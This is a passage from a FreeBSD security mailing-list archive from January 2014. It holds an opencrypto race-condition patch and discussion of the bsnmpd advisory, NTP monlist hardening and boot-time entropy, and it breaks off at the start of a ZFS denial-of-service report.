5B47jut35OepzUrYHtZeWU3gRCdIfb0597s4PS5cXexY 1389734746 Received: from mittlerweile.fritz.box (unknown [118.209.236.29]) by mail.messagingengine.com (Postfix) with ESMTPA id 766DFC00E7F for ; Tue, 14 Jan 2014 16:25:44 -0500 (EST) From: Benno Rice Content-Type: multipart/signed; boundary="Apple-Mail=_E11561FB-F251-497A-B92D-42B5EAAD2AF4"; protocol="application/pgp-signature"; micalg=pgp-sha512 Subject: Review of an OpenCrypto patch Message-Id: <74B9B73E-1F47-40F6-9506-E042608B8931@FreeBSD.org> Date: Wed, 15 Jan 2014 08:25:28 +1100 To: freebsd-security@freebsd.org Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) X-Mailer: Apple Mail (2.1827) X-Mailman-Approved-At: Tue, 14 Jan 2014 21:30:37 +0000 X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 21:25:48 -0000 --Apple-Mail=_E11561FB-F251-497A-B92D-42B5EAAD2AF4 Content-Type: multipart/mixed; boundary="Apple-Mail=_13016BD9-3918-4286-A160-1650966F8977" --Apple-Mail=_13016BD9-3918-4286-A160-1650966F8977 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 Hi -security, I work at EMC Isilon and one of our developers has found a race in = opencyrpto and provided the attached patch to address it. The situation as explained to me is that the crypto request queue and = dequeue operate under CRYPTO_Q_LOCK, along with crypto_invoke and thus = crypto processing. Meanwhile crypto_newsession (and thus all driver new = session calls) operate under CRYPTO_DRIVER_LOCK. This leads to a situation where resizing of the swcr_sessions array in = swcr_newsession can interfere with the use of that array in = swcr_process. The attached patch protects the swcr_sessions array with a new rwlock. Could somebody give this a look over and let me know if it=92s = commitable roughly as is or needs some work? Cheers, Benno. --Apple-Mail=_13016BD9-3918-4286-A160-1650966F8977 Content-Disposition: attachment; filename=patch-117508.3 Content-Type: application/octet-stream; name="patch-117508.3" Content-Transfer-Encoding: quoted-printable Index:=20src/sys/opencrypto/cryptosoft.c=0D=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0D=0A---=20= src/sys/opencrypto/cryptosoft.c=09(revision=20377628)=0D=0A+++=20= src/sys/opencrypto/cryptosoft.c=09(working=20copy)=0D=0A@@=20-35,6=20= +35,8=20@@=0D=0A=20#include=20=0D=0A=20#include=20= =0D=0A=20#include=20=0D=0A+#include=20= =20/*=20Isilon=20bug=20119136=20fix=20*/=0D=0A+#include=20= =20/*=20Isilon=20bug=20119136=20fix=20*/=0D=0A=20=0D=0A=20= #include=20=0D=0A=20#include=20= =0D=0A@@=20-54,6=20+56,7=20@@=0D=0A=20static=09int32_t=20= swcr_id;=0D=0A=20static=09struct=20swcr_data=20**swcr_sessions=20=3D=20= NULL;=0D=0A=20static=09u_int32_t=20swcr_sesnum;=0D=0A+static=20=20struct=20= rwlock=20swcr_sessions_lock;=20/*=20Isilon=20bug=20119136=20fix=20*/=0D=0A= =20=0D=0A=20u_int8_t=20hmac_ipad_buffer[HMAC_MAX_BLOCK_LEN];=0D=0A=20= u_int8_t=20hmac_opad_buffer[HMAC_MAX_BLOCK_LEN];=0D=0A@@=20-618,6=20= +621,7=20@@=0D=0A=20=09if=20(sid=20=3D=3D=20NULL=20||=20cri=20=3D=3D=20= NULL)=0D=0A=20=09=09return=20EINVAL;=0D=0A=20=0D=0A+=09= rw_wlock(&swcr_sessions_lock);=20/*=20Isilon=20bug=20119136=20fix=20*/=0D= =0A=20=09if=20(swcr_sessions)=20{=0D=0A=20=09=09for=20(i=20=3D=201;=20i=20= <=20swcr_sesnum;=20i++)=0D=0A=20=09=09=09if=20(swcr_sessions[i]=20=3D=3D=20= NULL)=0D=0A@@=20-640,6=20+644,7=20@@=0D=0A=20=09=09=09=09swcr_sesnum=20=3D= =200;=0D=0A=20=09=09=09else=0D=0A=20=09=09=09=09swcr_sesnum=20/=3D=202;=0D= =0A+=09=09=09rw_wunlock(&swcr_sessions_lock);=20/*=20Isilon=20bug=20= 119136=20fix=20*/=0D=0A=20=09=09=09return=20ENOBUFS;=0D=0A=20=09=09}=0D=0A= =20=0D=0A@@=20-652,8=20+657,8=20@@=0D=0A=20=0D=0A=20=09=09swcr_sessions=20= =3D=20swd;=0D=0A=20=09}=0D=0A-=0D=0A=20=09swd=20=3D=20&swcr_sessions[i];=0D= =0A+=09rw_wunlock(&swcr_sessions_lock);=20/*=20Isilon=20bug=20119136=20= fix=20*/=0D=0A=20=09*sid=20=3D=20i;=0D=0A=20=0D=0A=20=09while=20(cri)=20= {=0D=0A@@=20-700,7=20+705,7=20@@=0D=0A=20=09=09=09}=0D=0A=20=09=09=09= (*swd)->sw_exf=20=3D=20txf;=0D=0A=20=09=09=09break;=0D=0A-=09=0D=0A+=0D=0A= =20=09=09case=20CRYPTO_MD5_HMAC:=0D=0A=20=09=09=09axf=20=3D=20= &auth_hash_hmac_md5;=0D=0A=20=09=09=09goto=20authcommon;=0D=0A@@=20= -823,13=20+828,18=20@@=0D=0A=20=09struct=20comp_algo=20*cxf;=0D=0A=20=09= u_int32_t=20sid=20=3D=20CRYPTO_SESID2LID(tid);=0D=0A=20=0D=0A+=09= rw_rlock(&swcr_sessions_lock);=20/*=20Isilon=20bug=20119136=20fix=20*/=0D= =0A=20=09if=20(sid=20>=20swcr_sesnum=20||=20swcr_sessions=20=3D=3D=20= NULL=20||=0D=0A-=09=20=20=20=20swcr_sessions[sid]=20=3D=3D=20NULL)=0D=0A= +=09=20=20=20=20swcr_sessions[sid]=20=3D=3D=20NULL)=20{=0D=0A+=09=09= rw_runlock(&swcr_sessions_lock);=20/*=20Isilon=20bug=20119136=20fix=20*/=0D= =0A=20=09=09return=20EINVAL;=0D=0A+=09}=0D=0A=20=0D=0A=20=09/*=20= Silently=20accept=20and=20return=20*/=0D=0A-=09if=20(sid=20=3D=3D=200)=0D= =0A+=09if=20(sid=20=3D=3D=200)=20{=0D=0A+=09=09= rw_runlock(&swcr_sessions_lock);=20/*=20Isilon=20bug=20119136=20fix=20*/=0D= =0A=20=09=09return=200;=0D=0A+=20=20=20=20=20=20=20=20}=0D=0A=20=0D=0A=20= =09while=20((swd=20=3D=20swcr_sessions[sid])=20!=3D=20NULL)=20{=0D=0A=20=09= =09swcr_sessions[sid]=20=3D=20swd->sw_next;=0D=0A@@=20-897,6=20+907,7=20= @@=0D=0A=20=0D=0A=20=09=09FREE(swd,=20M_CRYPTO_DATA);=0D=0A=20=09}=0D=0A= +=09rw_runlock(&swcr_sessions_lock);=0D=0A=20=09return=200;=0D=0A=20}=0D=0A= =20=0D=0A@@=20-920,10=20+931,13=20@@=0D=0A=20=09}=0D=0A=20=0D=0A=20=09= lid=20=3D=20crp->crp_sid=20&=200xffffffff;=0D=0A+=09= rw_rlock(&swcr_sessions_lock);=20/*=20Isilon=20bug=20119136=20fix=20*/=0D= =0A=20=09if=20(lid=20>=3D=20swcr_sesnum=20||=20lid=20=3D=3D=200=20||=20= swcr_sessions[lid]=20=3D=3D=20NULL)=20{=0D=0A+=09=09= rw_runlock(&swcr_sessions_lock);=20/*=20Isilon=20bug=20119136=20fix=20*/=0D= =0A=20=09=09crp->crp_etype=20=3D=20ENOENT;=0D=0A=20=09=09goto=20done;=0D=0A= =20=09}=0D=0A+=09rw_runlock(&swcr_sessions_lock);=20/*=20Isilon=20bug=20= 119136=20fix=20*/=0D=0A=20=0D=0A=20=09/*=20Go=20through=20crypto=20= descriptors,=20processing=20as=20we=20go=20*/=0D=0A=20=09for=20(crd=20=3D=20= crp->crp_desc;=20crd;=20crd=20=3D=20crd->crd_next)=20{=0D=0A@@=20-937,10=20= +951,12=20@@=0D=0A=20=09=09=20*=20XXX=20between=20the=20various=20= instances=20of=20an=20algorithm=20(so=20we=20can=0D=0A=20=09=09=20*=20= XXX=20locate=20the=20correct=20crypto=20context).=0D=0A=20=09=09=20*/=0D=0A= +=09=09rw_rlock(&swcr_sessions_lock);=20/*=20Isilon=20bug=20119136=20fix=20= */=0D=0A=20=09=09for=20(sw=20=3D=20swcr_sessions[lid];=0D=0A=20=09=09=20=20= =20=20sw=20&&=20sw->sw_alg=20!=3D=20crd->crd_alg;=0D=0A=20=09=09=20=20=20= =20sw=20=3D=20sw->sw_next)=0D=0A=20=09=09=09;=0D=0A+=09=09= rw_runlock(&swcr_sessions_lock);=20/*=20Isilon=20bug=20119136=20fix=20*/=0D= =0A=20=0D=0A=20=09=09/*=20No=20such=20context=20?=20*/=0D=0A=20=09=09if=20= (sw=20=3D=3D=20NULL)=20{=0D=0A@@=20-1017,6=20+1033,7=20@@=0D=0A=20static=20= int=0D=0A=20swcr_attach(device_t=20dev)=0D=0A=20{=0D=0A+=09= rw_init(&swcr_sessions_lock,=20"swcr_sessions_lock");=20/*=20Isilon=20= bug=20119136=20fix=20*/=0D=0A=20=09memset(hmac_ipad_buffer,=20= HMAC_IPAD_VAL,=20HMAC_MAX_BLOCK_LEN);=0D=0A=20=09= memset(hmac_opad_buffer,=20HMAC_OPAD_VAL,=20HMAC_MAX_BLOCK_LEN);=0D=0A=20= =0D=0A@@=20-1057,8=20+1074,11=20@@=0D=0A=20swcr_detach(device_t=20dev)=0D= =0A=20{=0D=0A=20=09crypto_unregister_all(swcr_id);=0D=0A+=09= rw_wlock(&swcr_sessions_lock);=0D=0A=20=09if=20(swcr_sessions=20!=3D=20= NULL)=0D=0A=20=09=09FREE(swcr_sessions,=20M_CRYPTO_DATA);=0D=0A+=09= rw_wunlock(&swcr_sessions_lock);=0D=0A+=09= rw_destroy(&swcr_sessions_lock);=0D=0A=20}=0D=0A=20=0D=0A=20static=20= device_method_t=20swcr_methods[]=20=3D=20{=0D=0A= --Apple-Mail=_13016BD9-3918-4286-A160-1650966F8977 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii --Apple-Mail=_13016BD9-3918-4286-A160-1650966F8977-- --Apple-Mail=_E11561FB-F251-497A-B92D-42B5EAAD2AF4 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org iQIcBAEBCgAGBQJS1atIAAoJELja0BJxpLNeHx0P/ies+Dq8AxenoS7nS47pOLPX i1C4AgNMu8lzBLLfDrhdEWSUp5AEmXte2KLIPr46AnMnnyix1UkJ7LYE26CdjEL8 6fsinOHze8XV8woRM/LPPG2piPJrAlxs+4uGJ+t6/M//pfDaRmkT//vdxTdKu3G3 uSWhOGkQ9D8smCyQfPsll1m+EuuU9IY9CfEKV5iCIHEwsJlUlOWHGhDesK1KUe7R XvJesb0pHVmQDnMnDoF0euFJcS2/SJGrzJzk2XLrOLq1XXzhJNooFulkMgQwdkRT uIP0qGxzyfBJ/h/3xxCDI/P72gnceqtaLJHiNDu3Ol3P/mAOfp9mm4V7lcEvfM5P 7SNiq3tlqLdjkUT9v3+qDM5ziPnpzHuOAbIUMFq66P+veicgIHSWT02+bD0POa1K xDZrKEe2HMCS7QJe0OcTusLvHmNdYyKkG9j+m/Q8j7O59PrOHwJiVSOhcHYvsqmT HHRByYTRoH/rAAdhyKoGzO6SfvbnTOgjHuTmJ0KKtoKPETB2mak4HNlbW175WODu 8lZKTuuVbMqT+ut2gNPYjAyUnwFCygSArJBgQRRLIuPoHlTskC6wPDyEeznpaXDU PccNjddPqdX05UDuZSnetVE577lMUxfk0Xassr4Vke/OcGRnp94+2fvAcpHu0RaU bnf2GGo+zM6Qn2tk4jjp =t28X -----END PGP SIGNATURE----- --Apple-Mail=_E11561FB-F251-497A-B92D-42B5EAAD2AF4-- From owner-freebsd-security@FreeBSD.ORG Tue Jan 14 23:53:11 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D504FCDA for ; Tue, 14 Jan 2014 23:53:11 +0000 (UTC) Received: from zim.gshapiro.net (zim.gshapiro.net [IPv6:2001:4f8:3:36::224]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B811F175C for ; Tue, 14 Jan 2014 23:53:11 +0000 (UTC) Received: from minime.us.proofpoint.com (mx2.proofpoint.com [208.86.202.10]) (authenticated bits=0) by zim.gshapiro.net (8.14.8.Beta0/8.14.7) with ESMTP id s0ENr8D5007124 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 14 Jan 2014 15:53:10 -0800 (PST) (envelope-from gshapiro@gshapiro.net) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=gshapiro.net; s=gatsby.dkim; t=1389743591; bh=di/F96Cn2r5nzvVPR/r2oGpM/ZNqIjP9go6sMO6mkbY=; h=Date:From:To:Subject:References:In-Reply-To; b=h0mi4qu0sMoz1TXOTBSBpMRWNuHeLuoAYN1cEMz/gJwJ555c7s98msT6EI3lAL3Wj 2MMqREqadyLCXlw7UaO6r8JQZz1m9VNesqsxnuYjIovJiSvxDmcolTPkXSc65KV7A3 QxrPnF5jpKjHVSH1vbNBub4cV86X7Y4DRtTLEnqQ= Date: Tue, 14 Jan 2014 15:53:08 -0800 From: Gregory Shapiro To: freebsd-security@freebsd.org Subject: Re: [FreeBSD-Announce] FreeBSD Security Advisory FreeBSD-SA-14:01.bsnmpd Message-ID: <20140114235308.GB13117@minime.us.proofpoint.com> References: <201401142011.s0EKB8Zw082592@freefall.freebsd.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <201401142011.s0EKB8Zw082592@freefall.freebsd.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Mailman-Approved-At: Wed, 15 Jan 2014 02:07:15 +0000 X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 23:53:11 -0000 > Topic: bsnmpd remote denial of service vulnerability ... > III. Impact > > This issue could be exploited to execute arbitrary code in the context of > the service daemon, or crash the service daemon, causing a denial-of-service. The title/topic of this advisory should be changed reflect the more serious of these impacts, "execute arbitrary code". IMHO, this is a much larger impact than bsnmpd crashing. From owner-freebsd-security@FreeBSD.ORG Thu Jan 16 09:37:48 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CD24C15D for ; Thu, 16 Jan 2014 09:37:48 +0000 (UTC) Received: from batman.home4u.ch (batman.home4u.ch [IPv6:2001:8a8:1005:1::2]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 5890C11DC for ; Thu, 16 Jan 2014 09:37:47 +0000 (UTC) X-Virus-Scanned: amavisd-new at home4u.ch Received: from colossus.wenks.ch (fabian@colossus.wenks.ch [IPv6:2001:8a8:1005:4:223:32ff:fe98:2d72]) (authenticated bits=0) by batman.home4u.ch (8.14.5/8.14.5) with ESMTP id s0G9bhQZ094948 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Thu, 16 Jan 2014 10:37:44 +0100 (CET) (envelope-from fabian@wenks.ch) Message-ID: <52D7A867.7070607@wenks.ch> Date: Thu, 16 Jan 2014 10:37:43 +0100 From: Fabian Wenk User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: freebsd-security@freebsd.org Subject: Re: UNS: Re: NTP security hole CVE-2013-5211? References: <52CEAD69.6090000@grosbein.net> <21199.26019.698585.355699@hergotha.csail.mit.edu> <868uuid7y3.fsf@nine.des.no> In-Reply-To: <868uuid7y3.fsf@nine.des.no> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Jan 2014 09:37:48 -0000 Hello Dag-Erling On 14.01.2014 14:11, Dag-Erling Smørgrav wrote: > Garrett Wollman writes: >> For a "pure" client, I would suggest "restrict default ignore" ought >> to be the norm. (Followed by entries to unrestrict localhost over v4 >> and v6.) > > Pure clients shouldn't use ntpd(8). They should use sntp(8) or a > lightweight NTP client like ttsntpd. I think it is a bad advice, then ntpd is much nicer to NTP servers (mainly the NTP Pool), then sntp is. I am running a few NTP servers which are also in the NTP Pool and I do volunteer to be also in the tr (Turkey) zone. In Turkey there is one large telecommunication company with a lot of CPEs which are doing sntp requests quite often. Even if the IP addresses for the Pool are rotated quickly, they are all using the same few DNS server to resolve and those hammering the same few IP address at the same time. It is quite well visible in my graphs [1] with the large peaks. The quiet stable ground traffic is from nice ntpd clients which are distributed evenly on the NTP Pool. [1] http://www.home4u.ch/ntp/ bye Fabian From owner-freebsd-security@FreeBSD.ORG Thu Jan 16 09:41:26 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E87B642E for ; Thu, 16 Jan 2014 09:41:26 +0000 (UTC) Received: from batman.home4u.ch (batman.home4u.ch [IPv6:2001:8a8:1005:1::2]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 7256B1246 for ; Thu, 16 Jan 2014 09:41:26 +0000 (UTC) X-Virus-Scanned: amavisd-new at home4u.ch Received: from colossus.wenks.ch (fabian@colossus.wenks.ch [IPv6:2001:8a8:1005:4:223:32ff:fe98:2d72]) (authenticated bits=0) by batman.home4u.ch (8.14.5/8.14.5) with ESMTP id s0G9fOMU095356 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Thu, 16 Jan 2014 10:41:24 +0100 (CET) (envelope-from fabian@wenks.ch) Message-ID: <52D7A944.70604@wenks.ch> Date: Thu, 16 Jan 2014 10:41:24 +0100 From: Fabian Wenk User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: freebsd-security@freebsd.org Subject: Re: NTP security hole CVE-2013-5211? References: <52CEAD69.6090000@grosbein.net> <81785015-5083-451C-AC0B-4333CE766618@FreeBSD.org> <52CF82C0.9040708@delphij.net> <86d2jud85v.fsf@nine.des.no> In-Reply-To: <86d2jud85v.fsf@nine.des.no> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Jan 2014 09:41:27 -0000 Hello Dag-Erling On 14.01.2014 14:06, Dag-Erling Smørgrav wrote: > Cristiano Deana writes: >> I tried several workaround with config and policy, and ended up you MUST >> have 4.2.7 to stop these kind of attacks. > > Doesn't "restrict noquery" block monlist in 4.2.6? It does at least in 4.2.4p8 (running on FreeBSD 9.1), so I guess this should also work in newer versions. bye Fabian From owner-freebsd-security@FreeBSD.ORG Thu Jan 16 14:10:38 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E1025E59; Thu, 16 Jan 2014 14:10:38 +0000 (UTC) Received: from mail-qe0-x22a.google.com (mail-qe0-x22a.google.com [IPv6:2607:f8b0:400d:c02::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 8FC4E101E; Thu, 16 Jan 2014 14:10:38 +0000 (UTC) Received: by mail-qe0-f42.google.com with SMTP id b4so2544104qen.15 for ; Thu, 16 Jan 2014 06:10:37 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=UQgodwYUMjwmnHuPcRSn1MWne54T31MbCXg6goaVs9k=; b=1CuV71JHR9RkTPc9pmdTWj5dWhMQItJ1jf2bntwHrWL+b4/dy1p8RuPmoPRcdUgmWO J4wvdeSVQJTE8/1ZmjkZfkoaUhrq7cqXCoe/T+8SbRv7ElK9NEOctj0m0SZeHXOxzQ1V U8jtFfVH7sEUK6+cVWFU6DvC6orwYTRx1snqh4ZAvsKXf//E0sa15XHwkCAAMJf6iixp 1md3A5rOdH8P7ALiWCm8qIaf3WHLHAhBzwZJJpQwgjuctPlMlyzvIz89R6rjf8pX0cy9 pbqdQpUhHQiA/IL8btTZ0zSDZ/mleJDg43yl3ZDAb44WstY2kFRCm5B/c66h9iptfWB/ 1LKQ== MIME-Version: 1.0 X-Received: by 10.229.56.200 with SMTP id z8mr16107439qcg.1.1389881437677; Thu, 16 Jan 2014 06:10:37 -0800 (PST) Sender: benlaurie@gmail.com Received: by 10.96.142.194 with HTTP; Thu, 16 Jan 2014 06:10:37 -0800 (PST) In-Reply-To: <52D70165.2040906@delphij.net> References: <52D70165.2040906@delphij.net> Date: Thu, 16 Jan 2014 14:10:37 +0000 X-Google-Sender-Auth: sO4ZapOtwJG3lP7p3R6Q0R1v_Zg Message-ID: Subject: Re: More on startup entropy From: Ben Laurie To: Xin LI , freebsd-security@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Mailman-Approved-At: Thu, 16 Jan 2014 16:33:34 +0000 Cc: "secteam@freebsd.org" X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Jan 2014 14:10:39 -0000 As suggested, adding freebsd-security. On 15 January 2014 21:45, Xin Li wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA512 > > On 01/15/14 13:04, Ben Laurie wrote: >> Have not read this yet, but someone at Real World Cryptography >> pointed me at it. Sounded like a good idea. >> >> http://cseweb.ucsd.edu/~hovav/dist/earlyentropy.pdf > > Interesting read! I think there is no reason we should keep this > secret, maybe you can also send this to freebsd-security@? :) > > Cheers, > - -- > Xin LI https://www.delphij.net/ > FreeBSD - The Power to Serve! Live free or die > -----BEGIN PGP SIGNATURE----- > > iQIcBAEBCgAGBQJS1wFkAAoJEJW2GBstM+nsSaUP/0G21juWsyMxLFB5NRUwZ7pH > ZNjkgnAdsiMi42nPBcFHo9RsaouS4inp2W7wyefaVY48s+hlQc9bRH3TdHysPaD0 > 4h0G3mP1zo5qBd8bSChzif+cp1RXn0h8suWsMy4za5M3Ve9vasAUF3iRDtuE6rxF > 6sGkPf2Qkr8fjn3+Mcb6ma1soD9XMmN1rLS4CH02TnGHaqsfH0+tTnIuBKcXg8AF > fycVMPONv7lyE1AMll2ItTd/qDLSojDqD5VOWf5z18T1XedMjHRQ53SEblbNTAss > BozHjuzbzvqpPOtZj6UjQ5YmIAD2XNzYiHKq0JkLSIZTcR0wSO6feeQ304WPEuL/ > kJM/tTNmtBtjJRjvNta/3QJ4NW45r/u52JkHREJRvGpDqQZii993JuFKsjGh9D8U > b4K/LrNPjm3yZzA7pMInzvjPzP7KSt2C8ijDbT3Mt6NtBMOzwTXZv3XHnXPWiXR9 > lU7/KF70OQnvWz+xP5bTmwK721+VQANeztB9mPkNLSe/lUouxp9NqgJ4+qEDMRhf > +9pUwVuSAfwo4wINb8WKxWu/JcUkaNnO6gqr/+FsPsDda7WR73YzO/F7XLMBK8sn > OdsOVMpeButdbtPI5yWfVxtvdMrO7CDIbbSgXixfLirmRI2vNt6aOQikciVQQz9x > XtKV7OGkosJbBhiQKc3g > =HMSv > -----END PGP SIGNATURE----- > _______________________________________________________ > Please think twice when forwarding, cc:ing, or bcc:ing > security-team messages. Ask if you are unsure. From owner-freebsd-security@FreeBSD.ORG Thu Jan 16 20:41:10 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 43F656F; Thu, 16 Jan 2014 20:41:10 +0000 (UTC) Received: from caravan.chchile.org (caravan.chchile.org [178.32.125.136]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 0AE2C16E7; Thu, 16 Jan 2014 20:41:09 +0000 (UTC) Received: by caravan.chchile.org (Postfix, from userid 1000) id 667D725E9; Thu, 16 Jan 2014 20:41:02 +0000 (UTC) Date: Thu, 16 Jan 2014 21:41:02 +0100 From: Jeremie Le Hen To: freebsd-security@freebsd.org Subject: Re: [FreeBSD-Announce] FreeBSD Security Advisory FreeBSD-SA-14:01.bsnmpd Message-ID: <20140116204101.GA40990@caravan.chchile.org> Mail-Followup-To: freebsd-security@freebsd.org, FreeBSD Security Advisories References: <201401142011.s0EKB8Zw082592@freefall.freebsd.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <201401142011.s0EKB8Zw082592@freefall.freebsd.org> User-Agent: Mutt/1.5.22 (2013-10-16) X-Mailman-Approved-At: Thu, 16 Jan 2014 21:04:30 +0000 Cc: FreeBSD Security Advisories X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Jan 2014 20:41:10 -0000 Hi, On Tue, Jan 14, 2014 at 08:11:08PM +0000, FreeBSD Security Advisories wrote: > > II. Problem Description > > The bsnmpd(8) daemon is prone to a stack-based buffer-overflow when it > has received a specifically crafted GETBULK PDU request. > > III. Impact > > This issue could be exploited to execute arbitrary code in the context of > the service daemon, or crash the service daemon, causing a denial-of-service. > > IV. Workaround > > No workaround is available, but systems not running bsnmpd(8) are not > vulnerable. We are supposed to have SSP in all binaries that should prevent exploitations from this kind of bugs. I am curious why it hasn't been mentioned: is it because it didn't work as expected (which would require some investigation), or is it just an omission? Regards, -- Jeremie Le Hen Scientists say the world is made up of Protons, Neutrons and Electrons. They forgot to mention Morons. From owner-freebsd-security@FreeBSD.ORG Fri Jan 17 02:11:50 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5263E126; Fri, 17 Jan 2014 02:11:50 +0000 (UTC) Received: from pi.nmdps.net (pi.nmdps.net [109.61.102.5]) by mx1.freebsd.org (Postfix) with ESMTP id DEE161FFB; Fri, 17 Jan 2014 02:11:49 +0000 (UTC) Received: from pi.nmdps.net (pi.nmdps.net [109.61.102.5]) (Authenticated sender: krichy@cflinux.hu) by pi.nmdps.net (Postfix) with ESMTPSA id D16B3178C; Fri, 17 Jan 2014 03:11:47 +0100 (CET) Date: Fri, 17 Jan 2014 03:11:44 +0100 (CET) From: Richard Kojedzinszky X-X-Sender: krichy@pi.nmdps.net To: freebsd-fs@freebsd.org Subject: ZFS .zfs DoS Message-ID: User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="2628712688-1861051549-1389924707=:83798" X-Mailman-Approved-At: Fri, 17 Jan 2014 02:15:01 +0000 Cc: freebsd-security@freebsd.org X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 17 Jan 2014 02:11:50 -0000 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --2628712688-1861051549-1389924707=:83798 Content-Type: TEXT/PLAIN; format=flowed; charset=US-ASCII Dear users, For a long time now I've been investigating problems relating FreeBSD ZFS .zfs handling, and found that I am not enough to fix issues. Until fixes arrive, unfortunately a regular user can 